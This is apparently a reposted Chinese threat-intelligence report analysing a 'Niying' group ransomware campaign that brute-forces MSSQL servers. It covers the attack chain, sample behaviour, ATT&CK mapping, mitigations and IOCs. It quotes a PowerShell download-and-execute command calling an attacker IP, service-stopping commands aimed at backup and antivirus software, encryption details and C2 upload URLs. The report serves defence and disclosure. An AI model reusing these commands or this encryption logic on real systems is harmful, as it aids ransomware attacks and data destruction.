“匿影”组织再次活跃——通过爆破数据库发起勒索攻击
2022-12-9 14:32:13 Author: www.freebuf.com(查看原文) 阅读量:27 收藏

事件概述

近期,有客户反馈服务器文件被加密,新华三攻防实验室立即响应。在排查过程中,发现中毒主机上有大量MSSQL爆破日志及PowerShell运行日志。通过对日志及关联样本进行分析,最终判定此次攻击为“匿影”组织所为。

“匿影”组织于2019年3月份首次被披露,从被披露的3年来,该组织一直保持较高的活跃度,变种也在持续升级。在早期活动中,“匿影”使用永恒之蓝漏洞向受害者计算机植入挖矿病毒,利用中毒主机资源挖取门罗币为主的加密数字货币。2020年4月份,一场在全网大规模传播“WannaRen”勒索病毒事件引起广泛关注,经溯源分析,其幕后黑手正是“匿影”组织。12月份,研究人员在“匿影”的攻击活动中发现了一个新的自称为CryptoJoker勒索模块,索要赎金从“WannaRen”的0.05BTC涨至0.1BTC;在随后的“匿影”攻击套件中还发现了文件窃密模块,新的窃密模块主要对用户的虚拟货币钱包、密码等重要文件数据进行窃取。在国家对挖矿活动整治的背景下,该组织成功拓展了勒索、窃密等能力。并且,我们在之后的“匿影”组织攻击活动跟踪中,发现多数事件均以勒索为目的,表明该组织已经将重心从挖矿转向勒索攻击。

1670559806_6392b83ec7abe79c81e3a.png!small?1670559808090

"匿影"组织近年发起的主要攻击事件

事件分析

攻击流程

1670559828_6392b8547aa8f982a88f3.png!small?1670559830078

新华三攻防实验室还原“匿影”完整勒索攻击过程

样本分析

初始入侵

通过MSSQL扫描爆破获取中毒主机权限,最终执行PowerShell指令,下载cpu2.txt到本地执行

1670559854_6392b86e6a9422a78cee8.png!small?1670559855786

解码为:

IEX((new-objectnet.webclient).downloadstring ('http://185.198.166.202/cpu2.txt'))

载荷下载

cpu2.txt实际是powershell下载器

1670559870_6392b87e1c4a3ac770891.png!small?1670559871464

下载各种文件至C:\Users\Public文件夹下

1670559876_6392b88463eeb79f50731.png!small?1670559877829

下载完成后,cpu2.txt会执行ms.exe。

白加黑利用

ms.exe主要负责执行lu.exe,利用白加黑技术躲避杀软检测,执行后续攻击。

1670559884_6392b88c000e2281f005d.png!small?1670559885407

lu.exe是白文件,原文件名"Start.exe",Sandboxie相关,包含有效证书。

1670559890_6392b89245ffa7359ba13.png!small?1670559891752

lu.exe会加载SbieDll.dll,该dll为黑文件,负责解密执行123.txt。

1670559901_6392b89de36e8f2371dd3.png!small?1670559903083

勒索实施

1、123.txt

原始文件名

123.txt

MD5

ad7a2de6004989b98f45f025419ae4bb

文件大小

1.73 MB

文件类型

Text/plain

123.txt内容经过Base64编码,解码后,得到一个整型的宽字节数组。

1670559929_6392b8b9e0f8abe297e37.png!small?1670559931453

将该整数组转为bytes类型后得到一个未知类型文件,经分析,该文件由一段shellcode和一个恶意可执行PE文件“123_dump”组合构成。

1670559938_6392b8c26cedb1426562c.png!small?1670559939776

Shellcode用来解密出被混淆的API,通过调用VirtualAlloc,VirtualProtect等API,加载“123_dump”到新分配内存空间中执行。

2、123_dump——解密执行shell.txt

样本运行后,首先会查找目录C:\users\public下是否有1949.txt,该文件的存在是决定程序是否继续执行的标志,但程序并未加载解析1949.txt的内容。

1670559953_6392b8d1872579e7848f4.png!small?1670559954835

进程提权,程序会查询当前进程,实现系统级别提权。

1670559960_6392b8d8ae5eb27caab6c.png!small?1670559962113

解密shell.txt。程序会拼接当前程序目录C:\User\Public\shell.txt查找shell.txt, 若文件存在,则加载到申请的内存空间中。shell.txt本身是经过加密的文件,无法直接执行。程序随即通过硬编码的解密算法字符串“RC4”和密钥“999888”作为参数传入sub_10001DFB函数中。

1670559968_6392b8e09231b3f642905.png!small?1670559969892

经分析sub_10001DFB函数中,不仅支持RC4算法解密,还包括对RC2,DES,3DES,AES192,AES256,以及对分组加密的五种模式CBC,ECB,OFB,CFB CTR进行解密。

RC4解密完成后,在新分配的内存空间中得到一个可执行PE文件。

1670560009_6392b9097f680e9ab26fd.png!small?1670560011165

随后程序使用进程镂空方式将该恶意PE文件注入到系统程序servces.exe并执行。

1670560015_6392b90fcef8fc9f4a380.png!small?1670560017187

3、shell.txt

MD5

96cec5f391836920f1442a6492b02bd8

文件大小

4.28 MB (4,489,216 字节)

文件类型

PE32exe

时间戳

2022-09-01 09:46:31

编译信息

Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]

C&C

m.mssqlnewpro.com

shell.txt包含了11个子PE文件,用以实现提权、终止进程、终止服务、加密文件的功能,主要调用关系如下:

1670560026_6392b91adce0018fa75b6.png!small?1670560028137

为方便描述,将子PE文件命名为shell.txt.decrypted2.v~shell.txt.decrypted12.v,具体分析见下文。

(1) shell.txt

创建事件对象:ezrxtcfyvgihuewawaeewekb

1670560037_6392b925220465c1cc3dc.png!small?1670560038396

判断是否有管理员权限,取不同标识字符串,管理员为“zzz”,非管理员为“jjj”

1670560043_6392b92b24566b189cf78.png!small?1670560044829

获取主机名、用户名、公网IP等信息,与权限标识字符串拼接成一个字符串作为文件名称

1670560057_6392b939b3a306a8fec54.png!small?1670560059059

回传信息至:

hxxp://m.mssqlnewpro.com/mssqlzzz/upload.php

1670560064_6392b940b168ba0a5a0f2.png!small?1670560066232

然后,创建cmd.exe或notepad.exe进程并注入恶意载荷shell.txt.decrypted.2.v实施勒索攻击。

1670560071_6392b9475c0641ca9c9b6.png!small?1670560072583

在非管理员权限下,shell.txt释放C:\Users\Public\a.dll、C:\Users\Public\CVE20211675.exe、C:\Users\Public\MSFRottenPotato.exe等PE文件,利用CVE-2021-1675、CVE-2021-1732、CVE-2022-21882等漏洞进行提权,并重新执行lu.exe文件。

1670560076_6392b94cf12278f232a1a.png!small?1670560078421

(2)shell.txt.decrypted.2.v

MD5

2762cf71bb00085bf326d02133ac47c1

文件大小

636 KB (651,264 字节)

文件类型

PE32exe

时间戳

2022-09-01 09:42:39

编译信息

Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]

C&C

m.mssqlnewpro.com

判断是否为管理员,取不同标识字符串:

1670560088_6392b9586abf06f96a5cd.png!small?1670560089611

另外创建一个线程,下载 hxxps://m.mssqlnewpro.com/admin.jpg ,对其进行RC4 解密,key为"999888",然后通过进程注入执行。该解密方式和key与123.txt解密shell.txt一致。

1670560098_6392b9621469e06599ed0.png!small?1670560099310

再次判断管理员权限,如果是管理员,则:

先删除之前下载的文件防止溯源分析,部分如下:

1670560104_6392b9687e383db87cad3.png!small?1670560106389

然后依次注入执行 shell.txt.decrypted.3.v 、shell.txt.decrypted.4.v

(3)shell.txt.decrypted.4.v——关闭进程和服务

MD5

ad0742217c04f05b90cbea2a86b047ca

文件大小

164 KB (167,936 字节)

文件类型

PE32exe

时间戳

2022-08-29 14:20:47

编译信息

Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]

创建事件对象 rsedtfyguhijoiy69ggjhhjggs464

1670560115_6392b9738a393e6b901a3.png!small?1670560116823

查找并关闭以下进程:

1670560120_6392b9780e8938602be2b.png!small?16705601214141670560124_6392b97cc7007c20e10cd.png!small?1670560126656

关闭以下服务:

1670560130_6392b9829d18df1cdc526.png!small?1670560131976

通过命令行关闭大量数据库和数据备份相关服务,及一些安全软件相关服务,共183项

NET stop MSSQL$SQLEXPRESS /Y

NET STOP acrsch2svc /Y

NET STOP acronisagent /Y

NET STOP arsm /Y

NET STOP FirebirdServerDefaultInstance /Y

NET STOP FirebirdGuardianDefaultInstance /Y

NET STOP MuzzleServer /Y

sc stop \"Acronis VSS Provider\" /y

sc stop \"Enterprise Client Service\" /y

sc stop \"Sophos Agent\" /y

……

sc stop kavfsslp /y

sc stop KAVFSGT

sc stop KAVFS /y

sc stop mfefire

(4)shell.txt.decrypted.5.v——NTSD.exe

原始文件名

NTSD.Exe

MD5

fdd5617984b24d21991f80bc94714218

文件大小

31.0 KB (31,744 字节)

文件类型

PE32exe

时间戳

2001-08-18 04:54:36

pdb path: ntsd.pdb,是Windows自带的用户态调试工具,可用于强制结束进程。

1670560146_6392b992aafefb12a573e.png!small?1670560147954

(5)shell.txt.decrypted.3.v——执行加密操作

MD5

13fb686be7a929e8d96558a223da545e

文件大小

272 KB (278,528 字节)

文件类型

PE32exe

时间戳

2022-09-01 09:41:07

编译信息

Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]

C&C

m.mssqlnewpro.com

判断是否为管理员,是则创建事件对象 eyrwtyyweyetywetrey, 不是则ewyrgrjhshasdftagdagere

1670560162_6392b9a26d76465c851bc.png!small?1670560163620

在以下字符中随机生成RC4和AES密钥

1670560167_6392b9a7184fb56a23069.png!small?1670560168430

密钥通过RSA公钥加密并base64编码保存

1670560172_6392b9ac6dacb989c09f8.png!small?1670560173962

删除卷影

1670560179_6392b9b38e75a92bae4b9.png!small?1670560180721

遍历各磁盘,获取具有以下后缀的目标文件

doc, docx, xls, dat, xlsx, ec, ppt, pptx, pst, ost, msg, eml, vsd, vsdx, txt, csv, rtf, 123, wks, wk1, pdf, dwg, onetoc2, snt, jpeg, jpg, docb, docm, dot, dotm, dotx, xlsm, xlsb, xlw, xlt, xlm, xlc, xltx, xltm, pptm, pot, pps, ppsm, ppsx, ppam, potx, potm, edb, hwp, 602, sxi, sti, sldx, sldm, vdi, vmdk, vmx, gpg, aes, ARC, PAQ, bz2, tbk, bak, tar, tgz, gz, 7z, rar, zip, backup, iso, vcd, bmp, png, gif, raw, cgm, tif, tiff, nef, psd, ai, svg, djvu, m4u, m3u, mid, wma, flv, 3g2, mkv, 3gp, mp4, mov, avi, asf, mpeg, vob, mpg, wmv, fla, swf, wav, mp3, sh, class, jar, java, rb, asp, php, jsp, brd, sch, dch, dip, pl, vb, vbs, ps1, bat, cmd, js, asm, h, pas, cpp, c, cs, suo, sln, ldf, mdf, ibd, myi, myd, frm, odb, dbf, db, mdb, accdb, sql, sqlitedb, sqlite3, asc, lay6, lay, mml, sxm, otg, odg, uop, std, sxd, otp, odp, wb2, slk, dif, stc, sxc, ots, ods, 3dm, max, 3ds, uot, stw, sxw, ott, odt, pem, p12, csr, crt, key, pfx, der

排除包含以下字符串的文件路径:

1670560185_6392b9b99061a6ee4f9b1.png!small?1670560186867

加密逻辑

  • 当文件小于等于20000字节(约19KB)时,使用RC4加密,key为"ksfdskjl81"。
  • 当文件大于20000字节,小于30000000字节(约19MB)时,全部读取加密,RC4加密全文件,AES加密前20000字节(CBC不填充模式,IV为0,实际加密20016字节,最后16字节为空),最后会附加16字节加密数据和684字节base64编码之后的RSA加密key。
  • 当文件大于等于30000000字节时,只加密前30000000字节,RC4加密前30000000字节,AES加密前100000字节(CBC不填充模式,IV为0,实际加密100016字节,最后16字节为空),后面保持原内容,最后会附加16字节加密数据和684字节base64编码之后的RSA加密key。

加密后缀为.locked,被加密文件目录下会生成名为HOW_TO_DECRYPT.txt的勒索信。

1670560199_6392b9c76d1eff4d61263.png!small?1670560200695

加密完成后,会连接一次C2服务器,回传相关信息和加密结果。

1670560206_6392b9ce588e295ef7306.png!small?1670560207755

“匿影”组织技术特点

入侵传播阶段

“匿影”擅长在各大软件下载站、免费图床、网盘等公共基础网络上进行木马传播,比如,将伪装成BT下载器、激活工具程序的恶意代码上传至各大下载站。除此之外,一些第三方公司网站也被“匿影”攻陷并充当木马下载服务器。另外,“匿影”经常使用开源渗透工具Ladon对公网上的主机进行MS17-010漏洞利用、弱口令爆破等。

载荷执行阶段

该组织具有模块化开发的能力,各组件分工明确。并且该组织注重躲避安全软件的检测,其常用的免杀手段包括:

1) 无文件攻击。无论是在早期挖矿还是在后期勒索中,当成功入侵到受害者主机后,“匿影”惯用PowerShell来执行后续一系列攻击步骤,包括其他恶意模块下载、加载执行、持久化等。

2) 白加黑技术。利用白exe加载恶意dll来躲避安全软件检测,该组织已使用过的白加黑利用手段有WINWODR.exe、Start.exe(Sandboxie)等。

3) 加密混淆核心载荷。通过PowerShell脚本下载的载荷通常进行了加密混淆处理,常使用Base64编码、逆序、字符类型转化、异或、RC4加密等。解密后的关键代码还会使用Themida壳或VMP壳进行保护,最后再被命名为以.txt和.jpg为主的具有迷惑性的文件后缀。

ATT&CK分布图

1670560227_6392b9e3516fecc440b27.png!small?1670560228828

具体技术行为描述表

ATT&CK 阶段/类别

具体行为

注释

初始访问

永恒之蓝漏洞

永恒之蓝漏洞

初始访问

入侵供应链

公共软件下载站

初始访问

弱口令爆破

sqlserver、机器密码

执行

利用命令和脚本解释器

PowerShell脚本

执行

诱导用户执行

破解软件、BT下载器

执行

进程注入

加载到内存执行

持久化

创建计划任务、自启动服务


防御规避

DLL劫持

+执行

防御规避

混淆文件或信息

编码和加密

防御规避

利用匿名网盘\图床存放攻击载荷

伪装jpgtxt等文件

防御规避

禁用安全软件产品


防御规避

进程注入

加载到内存执行

防御规避

隐藏行为

消除攻击痕迹、删除日志

凭证访问

暴力破解


发现

获取用户账户、文件和目录、系统信息


横向移动

永恒之蓝漏洞

永恒之蓝漏洞

命令与控制

使用FTP 服务器


命令与控制

使用应用层协议

使用HTTP协议

影响

资源劫持(挖矿)


影响

加密文件、禁止系统恢复(勒索攻击)


处置建议

1、避免将重要服务映射至公网,若业务需要,请增加口令复杂度,避免使用弱口令;

2、尽量通过官方下载渠道下载软件,使用正版软件;

3、请及时更新系统补丁,减少系统漏洞带来的风险;

4、重要文件请及时备份。

IOCs

MD5

2d7f3d26acc665c10fadacd7ee743165

773c3f361066a19fb67628e461450025

b627b7cb376bdc1f385bf92d218a3ec1

ad7a2de6004989b98f45f025419ae4bb

96cec5f391836920f1442a6492b02bd8

2762cf71bb00085bf326d02133ac47c1

ad0742217c04f05b90cbea2a86b047ca

fdd5617984b24d21991f80bc94714218

13fb686be7a929e8d96558a223da545e

C&C

hxxp://185.198.166.202/123.txt

hxxp://185.198.166.202/1949.txt

hxxp://185.198.166.202/2.exe

hxxp://185.198.166.202/SbieDll.dll

hxxp://185.198.166.202/cpu2.txt

hxxp://185.198.166.202/dwmc.exe

hxxp://185.198.166.202/lu.exe

hxxp://185.198.166.202/ms.exe

hxxp://185.198.166.202/msvcr100.dll

hxxp://185.198.166.202/shell.txt

hxxp://m.mssqlnewpro.com/1/upload.php

hxxp://m.mssqlnewpro.com/2/upload.php

hxxp://m.mssqlnewpro.com/3/upload.php

hxxp://m.mssqlnewpro.com/4/upload.php

hxxp://m.mssqlnewpro.com/5/upload.php

hxxp://m.mssqlnewpro.com/6/upload.php

hxxp://m.mssqlnewpro.com/mssql/upload.php

hxxp://m.mssqlnewpro.com/mssql2/upload.php

hxxp://m.mssqlnewpro.com/mssqlggg/upload.php

hxxp://m.mssqlnewpro.com/mssqlzzz/upload.php

hxxps://m.mssqlnewpro.com/admin.jpg


文章来源: https://www.freebuf.com/articles/es/351984.html
如有侵权请联系:admin#unsafe.sh